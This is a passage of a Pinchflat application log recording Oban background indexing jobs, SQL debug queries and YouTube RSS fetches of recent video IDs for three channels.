s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 03:00:52.979 [debug] QUERY OK source="tasks" db=0.1ms idle=381.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [525, 2, ~U[2026-07-24 03:00:52Z], ~U[2026-07-24 03:00:52Z]] 03:00:52.979 [info] {"args":{"id":2},"id":522,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":382320,"event":"job:stop","queue_time":946246,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:00:55.382 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:00.912 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:01:25.383 [info] {"source":"oban","duration":785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:55.385 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:00.913 [info] {"source":"oban","duration":401,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:02:25.386 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:55.387 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:00.914 [info] {"source":"oban","duration":322,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:03:25.388 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:55.389 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:00.915 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:04:25.390 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:55.391 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:00.916 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:05:06.883 [info] {"args":{"id":3},"id":523,"meta":{},"system_time":1784862306883206941,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:05:06.883 [debug] QUERY OK source="sources" db=0.0ms idle=1815.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:05:06.883 [debug] QUERY OK source="settings" db=0.0ms idle=1007.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:05:06.883 [debug] QUERY OK source="media_profiles" db=0.0ms idle=815.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:05:06.884 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:05:06.884 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 03:05:07.009 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 03:05:07.010 [debug] QUERY OK source="media_items" db=0.3ms idle=126.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 03:05:07.012 [debug] QUERY OK source="media_items" db=2.5ms idle=126.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 03:05:07.013 [debug] QUERY OK source="tasks" db=0.0ms idle=129.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [526, 3, ~U[2026-07-24 03:05:07Z], ~U[2026-07-24 03:05:07Z]] 03:05:07.013 [info] {"args":{"id":3},"id":523,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":130421,"event":"job:stop","queue_time":521951,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:05:25.392 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:55.393 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:00.916 [info] {"source":"oban","duration":113,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:06:25.394 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:55.395 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:00.918 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:07:25.396 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:55.397 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:00.919 [info] {"source":"oban","duration":540,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:08:25.398 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:55.399 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:00.920 [info] {"source":"oban","duration":364,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:09:25.400 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:55.401 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:00.921 [info] {"source":"oban","duration":157,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:10:25.403 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:52.267 [info] {"args":{"id":1},"id":524,"meta":{},"system_time":1784862652267320834,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:10:52.267 [debug] QUERY OK source="sources" db=0.0ms idle=1199.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 03:10:52.267 [debug] QUERY OK source="settings" db=0.0ms idle=1199.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:10:52.267 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:10:52.267 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:10:52.267 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 03:10:52.436 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 03:10:52.436 [debug] QUERY OK source="media_items" db=0.3ms idle=169.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 03:10:52.439 [debug] QUERY OK source="media_items" db=2.8ms idle=169.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 03:10:52.440 [debug] QUERY OK source="tasks" db=0.0ms idle=172.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [527, 1, ~U[2026-07-24 03:10:52Z], ~U[2026-07-24 03:10:52Z]] 03:10:52.440 [info] {"args":{"id":1},"id":524,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":173134,"event":"job:stop","queue_time":312805,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:10:53.269 [info] {"args":{"id":2},"id":525,"meta":{},"system_time":1784862653269691946,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:10:53.270 [debug] QUERY OK source="sources" db=0.1ms idle=829.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 03:10:53.270 [debug] QUERY OK source="settings" db=0.1ms idle=829.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:10:53.270 [debug] QUERY OK source="media_profiles" db=0.0ms idle=823.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:10:53.270 [debug] QUERY OK source="settings" db=0.0ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:10:53.270 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 03:10:53.304 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 03:10:53.304 [debug] QUERY OK source="media_items" db=0.3ms idle=34.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 03:10:53.305 [debug] QUERY OK source="media_items" db=0.2ms idle=34.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 03:10:53.305 [debug] QUERY OK source="tasks" db=0.0ms idle=35.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [528, 2, ~U[2026-07-24 03:10:53Z], ~U[2026-07-24 03:10:53Z]] 03:10:53.306 [info] {"args":{"id":2},"id":525,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":36186,"event":"job:stop","queue_time":289720,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:10:55.404 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:00.921 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:11:25.405 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:55.406 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:00.923 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:12:25.407 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:55.408 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:00.925 [info] {"source":"oban","duration":105,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:13:25.409 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:55.410 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:00.926 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:14:25.411 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:55.412 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:00.927 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:15:07.557 [info] {"args":{"id":3},"id":526,"meta":{},"system_time":1784862907557318175,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:15:07.557 [debug] QUERY OK source="sources" db=0.1ms idle=488.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:15:07.557 [debug] QUERY OK source="settings" db=0.0ms idle=488.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:15:07.557 [debug] QUERY OK source="media_profiles" db=0.0ms idle=489.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:15:07.557 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:15:07.557 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 03:15:08.197 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 03:15:08.198 [debug] QUERY OK source="media_items" db=0.2ms idle=640.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 03:15:08.200 [debug] QUERY OK source="media_items" db=1.7ms idle=640.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", 